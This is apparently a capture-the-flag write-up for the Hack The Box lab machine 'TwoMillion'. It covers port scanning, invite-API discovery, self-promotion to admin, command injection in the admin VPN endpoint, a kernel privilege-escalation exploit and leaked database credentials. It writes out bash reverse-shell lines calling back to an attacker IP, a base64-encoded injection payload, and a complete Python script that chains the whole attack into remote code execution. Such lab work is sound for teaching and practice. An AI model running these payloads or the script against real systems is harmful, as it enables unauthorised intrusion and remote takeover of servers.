TwoMillion
Port scan
$ sudo nmap 2million.htb -p- --min-rate=10000 -T4 -sCV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Hack The Box :: Penetration Testing Labs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web APP
$ gobuster dir -u http://2million.htb/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 162
http://2million.htb/invite
/js/inviteapi.min.js
eval(function(p,a,c,k,e,d){
e=function(c){
return c.toString(36)
};
if(!''.replace(/^/,String)){
while(c--){
d[c.toString(a)]=k[c]||c.toString(a)
}
k=[function(e){
return d[e]
}];
e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
The code defines two main functions:
verifyInviteCode(code)
- Sends a POST request to /api/v1/invite/verify
with a code
makeInviteCode()
- Sends a POST request to /api/v1/invite/how/to/generate
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate
GET /api/v1
{
"v1":{
"user":{
"GET":{
"\/api\/v1":"Route List",
"\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
"\/api\/v1\/invite\/generate":"Generate invite code",
"\/api\/v1\/invite\/verify":"Verify invite code",
"\/api\/v1\/user\/auth":"Check if user is authenticated",
"\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
"\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
"\/api\/v1\/user\/vpn\/download":"Download OVPN file"
},
"POST":{
"\/api\/v1\/user\/register":"Register a new user",
"\/api\/v1\/user\/login":"Login with existing user"
},
"admin":{
"GET":{
"\/api\/v1\/admin\/auth":"Check if user is admin"
},
"POST":{
"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
},
"PUT":{
"\/api\/v1\/admin\/settings\/update":"Update user settings"
}
}
}
}
}
add Content-Type: application/json
to avoid "Invalid content type." error.
bash -i >& /dev/tcp/10.10.15.103/4445 0>&1
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Cookie: PHPSESSID=fn9jmkud82uk5igt5stoi6am6k
Content-Type: application/json
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 27
{
"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xMDMvNDQ0NSAwPiYx | base64 -d | bash;"
}
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
User Admin
$ ssh admin@2million.htb
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
OverlayFS exploit
git clone https://github.com/xkaneiki/CVE-2023-0386
zip -r cve.zip CVE-2023-0386
scp cve.zip admin@2million.htb:/tmp
cd /tmp
unzip cve.zip
cd /tmp/CVE-2023-0386/
# ignore warnings
make all
# Start two terminals and in the first one type
./fuse ./ovlcap/lower ./gc &
# second one
$ ./exp
&
: run in the background
ALL in one to RCE POC
import argparse, base64
import requests
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def generate_invite_code(target, session):
url = f"http://{target}/api/v1/invite/generate"
response = session.post(url, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 200 and response.json()["success"] == 1:
data = response.json()["data"]
encoded_code = data["code"]
code = base64.b64decode(encoded_code).decode('utf-8')
print("invite code is ", code)
return code
print("Generate invite code failed.", response.text)
def register_user(target, code, session):
url = f"http://{target}/api/v1/user/register"
data = {"code":code, "username":"test", "email": "test@htb.com", "password": "test1234", "password_confirmation":"test1234"}
response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 302:
print("Register user test succeed. test@htb.com:test1234")
else:
print("Register user failed.")
def user_login(target, session):
url = f"http://{target}/api/v1/user/login"
data = {"email":"test@htb.com", "password":"test1234"}
response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 302:
print("Login user test succeed.")
else:
print("Login user failed.")
def update_user_to_admin(target, session):
url = f"http://{target}/api/v1/admin/settings/update"
data = {
"email":"test@htb.com",
"is_admin":1
}
headers = {"Content-Type": "application/json"}
response = session.put(url, json=data, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 200 and response.json()["is_admin"] == 1:
print("Update user test to admin succeed.")
else:
print("Update user test to admin failed.")
def verify_user_is_admin(target, session):
url = f"http://{target}/api/v1/admin/auth"
response = session.get(url, proxies=proxies, verify=False, allow_redirects=False)
if response.status_code == 200 and response.json()["message"] is True:
print("Verify user test is an admin user")
else:
print("Verify user test is not an admin user")
def rce(target, session, lhost, lport):
url = f"http://{target}/api/v1/admin/vpn/generate"
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
encoded_payload= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
print("Encoded payload is ", encoded_payload)
data = {
"username": f"test;echo {encoded_payload} | base64 -d | bash;"
}
headers = {"Content-Type": "application/json"}
session.post(url, json=data, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="Target web server IP:PORT", required=True)
parser.add_argument("-l", "--lhost", help="Local listener's IP", required=True)
parser.add_argument("-p", "--lport", help="Local listener's port", required=True)
args = parser.parse_args()
session = requests.Session()
session.get(url=f"http://{args.target}/")
invite_code = generate_invite_code(args.target, session)
if invite_code:
register_user(args.target, invite_code, session)
user_login(args.target, session)
update_user_to_admin(args.target, session)
verify_user_is_admin(args.target, session)
rce(args.target, session, args.lhost, args.lport)